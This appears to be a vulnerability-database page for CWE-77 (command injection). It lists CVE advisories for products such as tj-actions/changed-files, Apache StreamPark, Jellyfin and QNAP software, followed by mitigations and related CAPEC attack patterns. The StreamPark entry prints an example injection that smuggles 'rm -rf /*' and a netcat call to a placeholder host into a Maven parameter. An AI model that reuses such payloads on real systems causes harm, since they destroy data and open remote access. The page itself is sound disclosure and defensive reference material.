Common Weakness Enumeration

CWE-77

Allowed-with-Review

Improper Neutralization of Special Elements used in a Command ('Command Injection')

Abstraction: Class · Status: Draft

API response cwe.mitre.org

The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.

5416 vulnerabilities reference this CWE, most recent first.

CVE-2023-51664 (GCVE-0-2023-51664)

Vulnerability from cvelistv5 – Published: 2023-12-27 16:58 – Updated: 2024-09-25 20:17
VLAI
Title
tj-actions/changed-files command injection in output filenames
Summary
tj-actions/changed-files is a Github action to retrieve all files and directories. Prior to 41.0.0, the `tj-actions/changed-files` workflow allows for command injection in changed filenames, allowing an attacker to execute arbitrary code and potentially leak secrets. This issue may lead to arbitrary command execution in the GitHub Runner. This vulnerability has been addressed in version 41.0.0. Users are advised to upgrade.
Severity
7.3 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N
SSVC
Exploitation: poc Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
  • CWE-74 - Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')
Assigner
References
Impacted products
Vendor Product Version
tj-actions changed-files Affected: < 41.0.0
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2023-49898 (GCVE-0-2023-49898)

Vulnerability from cvelistv5 – Published: 2023-12-15 12:13 – Updated: 2024-08-02 22:09
VLAI
Title
Apache StreamPark (incubating): Authenticated system users could trigger remote command execution
Summary
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Severity
No CVSS data available.
CWE
  • CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
Impacted products
Show details on NVD website
To clipboard 

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CVE-2023-49716 (GCVE-0-2023-49716)

Vulnerability from cvelistv5 – Published: 2024-02-09 03:45 – Updated: 2025-06-17 21:29
VLAI
Title
Emerson Rosemount GC370XA, GC700XA, GC1500XA Command Injection
Summary
In Emerson Rosemount GC370XA, GC700XA, and GC1500XA products, an authenticated user with network access could run arbitrary commands from a remote computer.
Severity
6.9 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:H
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
Emerson Rosemount GC370XA Affected: 0 , ≤ Version 4.1.5 (custom)
Create a notification for this product.
Emerson Rosemount GC700XA Affected: 0 , ≤ Version 4.1.5 (custom)
Create a notification for this product.
Emerson Rosemount GC1500XA Affected: 0 , ≤ Version 4.1.5 (custom)
Create a notification for this product.
Date Public
2024-01-30 17:00
Credits
Vera Mens of Claroty Research reported these vulnerabilities to Emerson.
Show details on NVD website
To clipboard 

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CVE-2023-49587 (GCVE-0-2023-49587)

Vulnerability from cvelistv5 – Published: 2023-12-12 01:35 – Updated: 2024-11-26 14:33
VLAI
Title
Command Injection vulnerability in SAP Solution Manager
Summary
SAP Solution Manager - version 720, allows an authorized attacker to execute certain deprecated function modules which can read or modify data of same or other component without user interaction over the network.
Severity
6.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
  • CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
sap
References
Impacted products
Show details on NVD website
To clipboard 

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CVE-2023-48791 (GCVE-0-2023-48791)

Vulnerability from cvelistv5 – Published: 2023-12-13 06:45 – Updated: 2024-12-02 14:29
VLAI
Summary
An improper neutralization of special elements used in a command ('Command Injection') vulnerability [CWE-77] in FortiPortal version 7.2.0, version 7.0.6 and below may allow a remote authenticated attacker with at least R/W permission to execute unauthorized commands via specifically crafted arguments in the Schedule System Backup page field.
Severity
7.9 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H/E:P/RL:O/RC:C
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
  • CWE-77 - Improper access control
Assigner
References
Impacted products
Vendor Product Version
Fortinet FortiPortal Affected: 7.2.0
Affected: 7.0.0 , ≤ 7.0.6 (semver)
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2023-48702 (GCVE-0-2023-48702)

Vulnerability from cvelistv5 – Published: 2023-12-13 20:53 – Updated: 2024-08-02 21:37
VLAI
Title
Jellyfin Possible Remote Code Execution via custom FFmpeg binary
Summary
Jellyfin is a system for managing and streaming media. Prior to version 10.8.13, the `/System/MediaEncoder/Path` endpoint executes an arbitrary file using `ProcessStartInfo` via the `ValidateVersion` function. A malicious administrator can setup a network share and supply a UNC path to `/System/MediaEncoder/Path` which points to an executable on the network share, causing Jellyfin server to run the executable in the local context. The endpoint was removed in version 10.8.13.
Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
CWE
  • CWE-77 - Improper Neutralization of Special Elements used in a Command ('Command Injection')
Assigner
References
Impacted products
Vendor Product Version
jellyfin jellyfin Affected: < 10.8.13
Create a notification for this product.
Show details on NVD website
To clipboard 

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CVE-2023-47563 (GCVE-0-2023-47563)

Vulnerability from cvelistv5 – Published: 2024-09-06 16:26 – Updated: 2024-09-06 17:47
VLAI
Title
Video Station
Summary
An OS command injection vulnerability has been reported to affect Video Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network. We have already fixed the vulnerability in the following version: Video Station 5.8.2 and later
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. Video Station Affected: 5.8.x , < 5.8.2 (custom)
Create a notification for this product.
Credits
lebr0nli (Alan Li), working with DEVCORE Internship Program
Show details on NVD website
To clipboard 

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CVE-2023-47562 (GCVE-0-2023-47562)

Vulnerability from cvelistv5 – Published: 2024-02-02 16:05 – Updated: 2025-05-07 20:07
VLAI
Title
Photo Station
Summary
An OS command injection vulnerability has been reported to affect Photo Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network. We have already fixed the vulnerability in the following version: Photo Station 6.4.2 ( 2023/12/15 ) and later
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
SSVC
Exploitation: none Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. Photo Station Affected: 6.4.x , < 6.4.2 ( 2023/12/15 ) (custom)
Create a notification for this product.
Credits
lebr0nli (Alan Li), working with DEVCORE Internship Program
Show details on NVD website
To clipboard 

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CVE-2023-47560 (GCVE-0-2023-47560)

Vulnerability from cvelistv5 – Published: 2024-01-05 16:18 – Updated: 2025-06-17 20:29
VLAI
Title
QuMagie
Summary
An OS command injection vulnerability has been reported to affect QuMagie. If exploited, the vulnerability could allow authenticated users to execute commands via a network. We have already fixed the vulnerability in the following version: QuMagie 2.2.1 and later
Severity
7.4 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L
SSVC
Exploitation: none Automatable: no Technical Impact: total
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. QuMagie Affected: 2.2.x , < 2.2.1 (custom)
Create a notification for this product.
Credits
lebr0nli (Alan Li)
Show details on NVD website
To clipboard 

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CVE-2023-47218 (GCVE-0-2023-47218)

Vulnerability from cvelistv5 – Published: 2024-02-13 02:44 – Updated: 2025-05-07 21:13
VLAI
Title
QTS, QuTS hero, QuTScloud
Summary
An OS command injection vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to execute commands via a network. We have already fixed the vulnerability in the following versions: QTS 5.1.5.2645 build 20240116 and later QuTS hero h5.1.5.2647 build 20240118 and later QuTScloud c5.1.5.2651 and later
Severity
5.8 (Medium)
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:L
SSVC
Exploitation: poc Automatable: no Technical Impact: partial
CISA Coordinator (v2.0.3)
CWE
Assigner
References
Impacted products
Vendor Product Version
QNAP Systems Inc. QTS Affected: 5.1.x , < 5.1.5.2645 build 20240116 (custom)
Unaffected: 4.x
Create a notification for this product.
QNAP Systems Inc. QuTS hero Affected: h5.1.x , < h5.1.5.2647 build 20240118 (custom)
Unaffected: h4.x
Create a notification for this product.
QNAP Systems Inc. QuTScloud Affected: c5.x , < c5.1.5.2651 (custom)
Create a notification for this product.
Credits
Stephen Fewer, Principal Security Researcher at Rapid7
Show details on NVD website
To clipboard 

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Mitigation
Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation
Implementation

If possible, ensure that all external commands called from the program are statically created.

Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
  • Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation
Operation

Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.

Mitigation
System Configuration

Assign permissions that prevent the user from accessing/opening privileged files.

CAPEC-136: LDAP Injection

An attacker manipulates or crafts an LDAP query for the purpose of undermining the security of the target. Some applications use user input to create LDAP queries that are processed by an LDAP server. For example, a user might provide their username during authentication and the username might be inserted in an LDAP query during the authentication process. An attacker could use this input to inject additional commands into an LDAP query that could disclose sensitive information. For example, entering a * in the aforementioned query might return information about all users on the system. This attack is very similar to an SQL injection attack in that it manipulates a query to gather additional information or coerce a particular return value.

CAPEC-15: Command Delimiters

An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or denylist input validation, as opposed to allowlist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or denylist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.

CAPEC-183: IMAP/SMTP Command Injection

An adversary exploits weaknesses in input validation on web-mail servers to execute commands on the IMAP/SMTP server. Web-mail servers often sit between the Internet and the IMAP or SMTP mail server. User requests are received by the web-mail servers which then query the back-end mail server for the requested information and return this response to the user. In an IMAP/SMTP command injection attack, mail-server commands are embedded in parts of the request sent to the web-mail server. If the web-mail server fails to adequately sanitize these requests, these commands are then sent to the back-end mail server when it is queried by the web-mail server, where the commands are then executed. This attack can be especially dangerous since administrators may assume that the back-end server is protected against direct Internet access and therefore may not secure it adequately against the execution of malicious commands.

CAPEC-248: Command Injection

An adversary looking to execute a command of their choosing, injects new items into an existing command thus modifying interpretation away from what was intended. Commands in this context are often standalone strings that are interpreted by a downstream component and cause specific responses. This type of attack is possible when untrusted values are used to build these command strings. Weaknesses in input validation or command construction can enable the attack and lead to successful exploitation.

CAPEC-40: Manipulating Writeable Terminal Devices

This attack exploits terminal devices that allow themselves to be written to by other users. The attacker sends command strings to the target terminal device hoping that the target user will hit enter and thereby execute the malicious command with their privileges. The attacker can send the results (such as copying /etc/passwd) to a known directory and collect once the attack has succeeded.

CAPEC-43: Exploiting Multiple Input Interpretation Layers

An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: <parser1> --> <input validator> --> <parser2>. In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.

CAPEC-75: Manipulating Writeable Configuration Files

Generally these are manually edited files that are not in the preview of the system administrators, any ability on the attackers' behalf to modify these files, for example in a CVS repository, gives unauthorized access directly to the application, the same as authorized users.

CAPEC-76: Manipulating Web Input to File System Calls

An attacker manipulates inputs to the target software which the target software passes to file system calls in the OS. The goal is to gain access to, and perhaps modify, areas of the file system that the target software did not intend to be accessible.

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